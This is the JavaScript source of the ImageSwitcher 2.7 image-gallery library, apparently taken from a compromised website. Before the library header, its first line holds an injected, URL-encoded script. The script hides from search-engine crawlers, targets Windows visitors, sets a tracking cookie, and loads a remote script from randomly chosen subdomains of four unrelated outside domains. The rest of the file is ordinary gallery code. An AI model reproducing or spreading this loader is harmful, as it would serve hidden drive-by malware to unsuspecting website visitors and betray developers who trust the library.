var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;// ImageSwitcher 2.7 by tvst from varal.org
// Released under the MIT License: http://www.opensource.org/licenses/mit-license.php

var IS = 
{
	all : new Array(),
	active : new Array(),
	
	loadingImage : new Image(),

	makeViewports : function() 
	{
		var c = window.ISConf;
		var order = (c && c.order)? c.order : new Array('numbers', 'prevnext', 'viewport');
		var tt = (c && c.tooltip)? c.tooltip : false;
		var lt = (c && c.listType)? c.listType.toLowerCase() : 'numbers';
		var th = (c && lt=='thumbnails');
		var ths = (th && c.thumbnailSuffix)? c.thumbnailSuffix : '';
		var thw = (th && c.thumbnailWidth)? c.thumbnailWidth : 0;
		var thh = (th && c.thumbnailHeight)? c.thumbnailHeight : 0;
		var countFrom = (c && c.countFrom)? c.countFrom : 0;
		var pt = (c && c.prevText)? c.prevText : '<';
		var nt = (c && c.nextText)? c.nextText : '>';
		IS.loadingImage.src = (c && c.loadingImgSrc) ? c.loadingImgSrc : 'loading.gif';

		var all = IS.all;
		var a = document.getElementsByTagName('*');

		for (i = 0; i < a.length; i++)
		{
			if (a[i].className == 'imgsw') 
			{
				a[i].className = 'imgsw_toplevel';
				var b = a[i].getElementsByTagName('*');
				var x = all.length;
				var y = 0;
				var e = (c && c.elementsPerPage) ? c.elementsPerPage : 1;

				a[i].id = 'imgsw'+x;

				all[x] = new Array();

				var v, l, sp;
				var needsTh = true;


				var listdiv = document.createElement('div');
				listdiv.className = 'imgsw_list_' + lt;

				// specify which image is active (image 0)
				IS.active[x] = new Array();
				IS.active[x][0] = x;
				IS.active[x][1] = 'imgsw'+x+'_link0';

				// go through all children
				while (b.length > 0) 
				{		
					var isImg = b[0].tagName == 'IMG';
					b[0].origTitle = (b[0].title)? b[0].title : false;
					if (tt) b[0].title = tt;
					
					if (isImg)
					{
						// save data about the image
						b[0].id = 'imgsw'+x+'_img'+y;
						b[0].realSrc = b[0].src;

						if (c && !c.usePreloader) b[0].src = '';
					}

					// if this is the first image in its group, make a link
					if (y % e == 0 || (th && isImg && needsTh))
					{
						// create the number link
						var j = Math.floor(y / e);
						
						//if (th)
						switch (lt)
						{
							case 'thumbnails':
							if (isImg) 
							{
								var src = b[0].realSrc;
								src = src.substr(0, src.lastIndexOf('.')) + ths + src.substr(src.lastIndexOf('.'));
								l = IS.imgLink(src, thw, thh, b[0].title, x, j, true);
								needsTh = false;
							} else needsTh = true;
							break;

							case 'titles':
							if (b[0].origTitle) {l = IS.textLink(b[0].origTitle, null, x, j, true); break;}
							
							case 'filenames':
							if (isImg) {l = IS.textLink(b[0].src.substring(b[0].src.lastIndexOf('/')+1), null, x, j, true); break;}
							
							default:
							l = IS.textLink(j+countFrom, null, x, j, true);
						}

						if (y == 0) l.className += ' active';

						listdiv.appendChild(l);
					}

					//b[0].style.display = "none";

					all[x][y] = b[0];
					y++;

					a[i].removeChild(b[0]);
				}

				// make prev/next links

				var prevnextdiv = document.createElement('div');
				prevnextdiv.className = 'imgsw_prevnext';

				prevnextdiv.appendChild(IS.textLink(pt, 'previous image', x, -2, null, 'imgsw_prev'));
				prevnextdiv.appendChild(IS.textLink(nt, 'next image', x, -1, null, 'imgsw_next'));


				// make viewport

				var viewportdiv = document.createElement('div');
				viewportdiv.className = 'imgsw_viewport';
				viewportdiv.id = 'imgsw'+x+'_viewport';


				// make title

				var titlediv = document.createElement('div');
				titlediv.className = 'imgsw_title';
				titlediv.id = 'imgsw'+x+'_title';
				
				// write all divs to the DOM tree, in the correct order
				for (var j = 0; j < order.length; j++) a[i].appendChild(eval(order[j]+'div'));

				IS.doTheSwitch(x, 0);
			}
		}
	},
	
	nodeLink : function (node, tt, x, y, id, cl)
	{
		var l = document.createElement('a');

		l.title = tt;
		l.href = 'javascript:IS.doTheSwitch('+x+', '+y+');';

		if (id) l.id = 'imgsw'+x+'_link'+y;
		if (cl) l.className = cl;

		sp = document.createElement('span');
		sp.appendChild(node);
		l.appendChild(sp);
		return l;
	},

	textLink : function (txt, tt, x, y, id, cl)
	{
		return IS.nodeLink(document.createTextNode(txt), tt, x, y, id, cl);
	},

	imgLink : function (src, w, h, tt, x, y, id, cl)
	{
		var im = document.createElement('img');
		
		im.src = src;
		im.id = 'imgsw'+x+'_link'+y+'_thumb';
		if (w) im.style.width = w;
		if (h) im.style.height = h;
	
		return IS.nodeLink(im, tt, x, y, id, cl);
	},	

	doTheSwitch : function (x, y) 
	{
		var all = IS.all;
		var c = window.ISConf;
		var e = (c && c.elementsPerPage) ? c.elementsPerPage : 1;
		var n = !c.order || c.order.toString().indexOf('list') != -1;
		var y0 = IS.active[x][0];
		var id = IS.active[x][1];

		if (y == -1) y = y0+1;
		if (y == -2) y = y0-1;

		if (y >= all[x].length / e) y = 0;
		if (y < 0) y = Math.ceil(all[x].length / e)-1;

		// title
		var el = IS.all[x][e*y];
		var titlediv = document.getElementById('imgsw'+x+'_title');
		if (titlediv) titlediv.innerHTML = (el.origTitle)? el.origTitle : el.src? el.src.substring(el.src.lastIndexOf('/')+1) : '';

		// links
		if (!document.getElementById(id)) return;
		if (n) document.getElementById(id).className = '';	
		IS.active[x][0] = y;
		id = IS.active[x][1] = 'imgsw'+x+'_link'+y;
		if (!document.getElementById(id)) return;
		if (n) document.getElementById(id).className = 'active';

		var v = document.getElementById('imgsw'+x+'_viewport');
		v.innerHTML = '';

		// "elements per page"-related stuff
		for (var i = 0; i < e; i++)
		{
			var j = e*y+i;
			if (j >= all[x].length) break;
			if (all[x][j].tagName == "IMG") IS.loadImg(x, j, v);
			else IS.switchEl(x, j, v);
		}
	},

	loadImg : function (x, y, v)
	{
		var all = IS.all;
		var i = all[x][y];
		var im = new Image();
		var c = window.ISConf;
		var j = v.childNodes.length;

		i.id = 'imgsw_img_'+x+'_'+y+'_'+j;

		im.original = i;
		im.src = i.realSrc;
		var li = c && c.useLoadingImage && !im.complete;

		// can't use DOM for IE to resize correctly :(
		var s = (li) ?
			'<img src="'+IS.loadingImage.src+'" id="'+i.id+'" class="imgsw_image '+i.className+' imgsw_loading" title="loading..." alt="loading..." />' :
			'<img src="'+i.realSrc+'" id="'+i.id+'" class="imgsw_image '+i.className+'" title="'+i.title+'" alt="'+i.alt+'" />';

		if (c && c.clickImageForNext)
		{
			l = document.createElement('a');
			l.href = 'javascript:IS.doTheSwitch('+x+', -1);';
			l.innerHTML=s;
			v.appendChild(l);
		}
		else v.innerHTML+=s;

		if (li) 
		{
			im.src = "";
			im.onload = function () {IS.imgOnLoad(this);};
			im.onerror = function () {IS.imgOnError(this);};
			im.src = i.realSrc;
			return;
		}
				
		var im = document.getElementById(i.id);
		im.onclick = i.onclick;
	},
	
	switchEl : function (x, y, v) 
	{
		var i = IS.all[x][y].cloneNode(false); // for IE
		i.innerHTML = IS.all[x][y].innerHTML;

		v.appendChild(i);
	},	

	imgOnLoad : function (o)
	{
		o.onload = "";

		var im = o.original;
		var i = document.getElementById(im.id);

		if (!i) return; // for IE

		i.src = im.realSrc;
		if (im.height) i.height = im.height;
		if (im.width) i.width = im.width;
		i.onclick = im.onclick;
		i.className = 'imgsw_image '+im.className;
	},

	imgOnError : function (o)
	{
		alert("Error! Can't load image "+o.realSrc);
	}

};


// "onparse" setup code - should go before any window.onloads!
if (document.getElementsByTagName && !window.ParseCtl)
{
	window.appendHandler = function(eventStr, f) {var f0 = eval("window."+eventStr); eval("window."+eventStr+" = function () {f0(); f();}");};
	window.onparse = function() {};

	window.ParseCtl =
	{
		complete : false, timer : null,
		
		callOnParse : function () 
		{
			if (this.complete || !document.body || !document.getElementsByTagName('body')) return;
			clearInterval(this.timer);
			this.complete = true; 
			window.onparse();
		}
	};

	if 	(navigator.appName.indexOf('Netscape') != -1 
		&& eval(navigator.appVersion.substring(0,navigator.appVersion.indexOf('('))) >= 5 
		&& navigator.userAgent.indexOf('KHTML') == -1) 
		document.addEventListener("DOMContentLoaded", window.ParseCtl.callOnParse, null);

	else ParseCtl.timer = setInterval('ParseCtl.callOnParse()', 1);
	window.onload = ParseCtl.callOnParse;
};


// run
if (document.getElementsByTagName) 
{
	// optionally use window.onload, if things are going terribly wrong	
	var c = window.ISConf;
	if (c && c.useOnLoad) window.onload = function() {IS.makeViewports();};
	else window.appendHandler("onparse", IS.makeViewports);
}